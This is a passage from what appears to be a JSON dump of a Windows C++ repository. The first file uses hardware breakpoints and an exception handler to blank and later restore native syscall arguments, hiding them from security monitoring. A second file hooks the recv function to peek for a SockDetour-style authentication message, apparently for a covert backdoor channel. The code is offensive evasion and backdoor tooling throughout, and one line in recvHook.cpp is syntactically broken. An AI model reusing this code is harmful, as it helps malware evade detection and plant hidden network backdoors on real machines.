&context);\n\n\tif (init) {\n\t\t(&context.Dr0)[pos] = address;\n\n\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * pos));\n\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * pos));\n\t\tcontext.Dr7 |= 1ull << (2 * pos);\n\t}\n\telse {\n\t\tif ((&context.Dr0)[pos] == address) {\n\t\t\tcontext.Dr7 &= ~(1ull << (2 * pos));\n\t\t\t(&context.Dr0)[pos] = NULL;\n\t\t}\n\t}\n\n\tSetThreadContext(thd, &context);\n}\n\n// Find our ret ROP gadget (pointer decay so need explicit size)\nuintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)\n{\n\tfor (unsigned int i = 0; i < (unsigned int)25; i++)\n\t{\n\t\t// memcmp WILL be optimized \n\t\tif (memcmp((LPVOID)(function + i), stub, size) == 0) {\n\t\t\treturn (function + i);\n\t\t}\n\t}\n\treturn NULL;\n}\n\nDWORD WINAPI TestThread(LPVOID lpParameter);\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Classes                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nstruct TS2_HWBP {\nprivate:\n\tconst uintptr_t address;\n\tUINT\t\t\tpos;\npublic:\n\tTS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },\n\t\tpos{ idx % 4 }\n\t{\n\t\tSetHWBP(GetCurrentThread(), address, pos, true);\n\n\t\tBYTE syscop[] = { 0x0F, 0x05 };\n\t\tADDRESS_MAP[address].syscall_addr =\n\t\t\tFindRopAddress(address, syscop, sizeof(syscop));\n\t\tADDRESS_MAP[address].function_addr = address;\n\t\tADDRESS_MAP[address].pos = pos;\n\t};\n\n\tVOID RemoveHWBPS()\n\t{\n\t\tSetHWBP(GetCurrentThread(), address, pos, false);\n\t}\n\n\t~TS2_HWBP()\n\t{\n\t\tRemoveHWBPS();\n\t}\n};\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\nLONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)\n{\n\tconst auto address = ExceptionInfo->ContextRecord->Rip;\n\tprintf(\"Exception: 0x%llx\\n\", address);\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n\t{\n\t\tfor (const auto& [k, v] : ADDRESS_MAP)\n\t\t{\n\t\t\tif (address == v.function_addr) // mov r10, rcx\n\t\t\t{\n\t\t\t\t// Set Dr[pos] to address+0x12\n\t\t\t\t(&ExceptionInfo->ContextRecord->Dr0)[v.pos] = v.syscall_addr;\n\n\t\t\t\tconst auto key = (address + 0x12) | GetCurrentThreadId();\n\n\t\t\t\tSYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;\n\t\t\t\tSYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;\n\t\t\t\tSYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;\n\t\t\t\tSYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;\n\n\t\t\t\tfor (size_t idx = 0; idx < STK_ARGS; idx++)\n\t\t\t\t{\n\t\t\t\t\tconst size_t offset = idx * 0x8 + 0x28;\n\t\t\t\t\tSYSCALL_MAP[key].stk[idx] =\n\t\t\t\t\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);\n\t\t\t\t}\n\n\t\t\t\tPRINT_ARGS(\"HIDING\", ExceptionInfo);\n\n\t\t\t\tExceptionInfo->ContextRecord->Rcx = 0;\n\t\t\t\tExceptionInfo->ContextRecord->Rdx = 0;\n\t\t\t\tExceptionInfo->ContextRecord->R8 = 0;\n\t\t\t\tExceptionInfo->ContextRecord->R9 = 0;\n\n\t\t\t\tfor (size_t idx = 0; idx < STK_ARGS; idx++)\n\t\t\t\t{\n\t\t\t\t\tconst size_t offset = idx * 0x8 + 0x28;\n\t\t\t\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;\n\t\t\t\t}\n\n\t\t\t\tPRINT_ARGS(\"HIDDEN\", ExceptionInfo);\n\n\t\t\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag\n\t\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t\t}\n\t\t\telse if (address == v.syscall_addr)\n\t\t\t{\n\t\t\t\t// Set Dr[pos] to address-0x12\n\t\t\t\t(&ExceptionInfo->ContextRecord->Dr0)[v.pos] = v.function_addr;\n\n\t\t\t\tauto const key = (address | GetCurrentThreadId());\n\n\t\t\t\t// SSN in ExceptionInfo->ContextRecord->Rax\n\n\t\t\t\t// mov rcx, r10 \n\t\t\t\tExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;\n\t\t\t\tExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;\n\t\t\t\tExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;\n\t\t\t\tExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;\n\t\t\t\tExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;\n\n\t\t\t\tfor (size_t idx = 0; idx < STK_ARGS; idx++)\n\t\t\t\t{\n\t\t\t\t\tconst size_t offset = idx * 0x8 + 0x28;\n\t\t\t\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =\n\t\t\t\t\t\tSYSCALL_MAP[key].stk[idx];\n\t\t\t\t}\n\n\t\t\t\tPRINT_ARGS(\"RESTORED\", ExceptionInfo);\n\n\t\t\t\tSYSCALL_MAP.erase(key);\n\n\t\t\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag\n\t\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t\t}\n\t\t}\n\t}\n\treturn EXCEPTION_CONTINUE_SEARCH;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nint main()\n{\n\tconst PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);\n\n\tTS2_HWBP TS2NtCreateThreadEx{\n\t\t(uintptr_t)(GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n\t\t\"NtCreateThreadEx\")),\n\t\t1\n\t};\n\n\tfor (unsigned int i = 0; i < 2; ++i) {\n\t\tHANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);\n\t\tif (t) WaitForSingleObject(t, INFINITE);\n\t}\n\n\tTS2NtCreateThreadEx.RemoveHWBPS();\n\n\tif (handler != nullptr) RemoveVectoredExceptionHandler(handler);\n}\n\nDWORD WINAPI TestThread(LPVOID lpParameter)\n{\n\tUNREFERENCED_PARAMETER(lpParameter);\n\tprintf(\"\\n----TestThread----\\n\\n\");\n\n\tTS2_HWBP TS2NtCreateMutant{\n\t\t(uintptr_t)(GetProcAddress(GetModuleHandleW(L\"NTDLL.dll\"),\n\t\t\"NtCreateMutant\")),\n\t\t1\n\t};\n\n\tHANDLE m = CreateMutexA(NULL, TRUE, \"rad98\");\n\tif (m) CloseHandle(m);\n\n\treturn 0;\n}\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          EOF                                         */\n//////////////////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "recvHook.cpp",
    "content": "HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L\"WS2_32.dll\"),\n\tGetModuleHandle(L\"WS2_32.dll\")),\"recv\"), 3,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\t\t\n\t\tfor (auto& i : ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, false);\n\t\t\t}\n\t\t}\n\n\t\tchar verbuf[9]{ 0 };\n\t\tint\tverbuflen{ 9 }, recvlen{ 0 };\n\n\t\trecvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,\n\t\t\t\t   verbuflen, MSG_PEEK);\n\n\t\tBYTE TLS[] = { 0x17, 0x03, 0x03 };\n\n\t\tif (recvlen >= 3) {\n\t\t\tif ((memcmp(verbuf, TLS, 3) == 0))1\n\t\t\t{\n\t\t\t\tMSG_AUTH msg{ 0 };\n\t\t\t\t// We'll peek like SockDetour as to not eat the message\n\t\t\t\trecvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,\n\t\t\t\t\tsizeof(MSG_AUTH), MSG_PEEK);\n\t\t\t\t\t// Authenticate and proceed\n\n\t\t\t}\n\t\t}\n\n\t\t// Set corresponding Dr\n\t\tfor (auto& i : ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, true);\n\t\t\t}\n\t\t}\n\n\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n}) };\n"
  }
]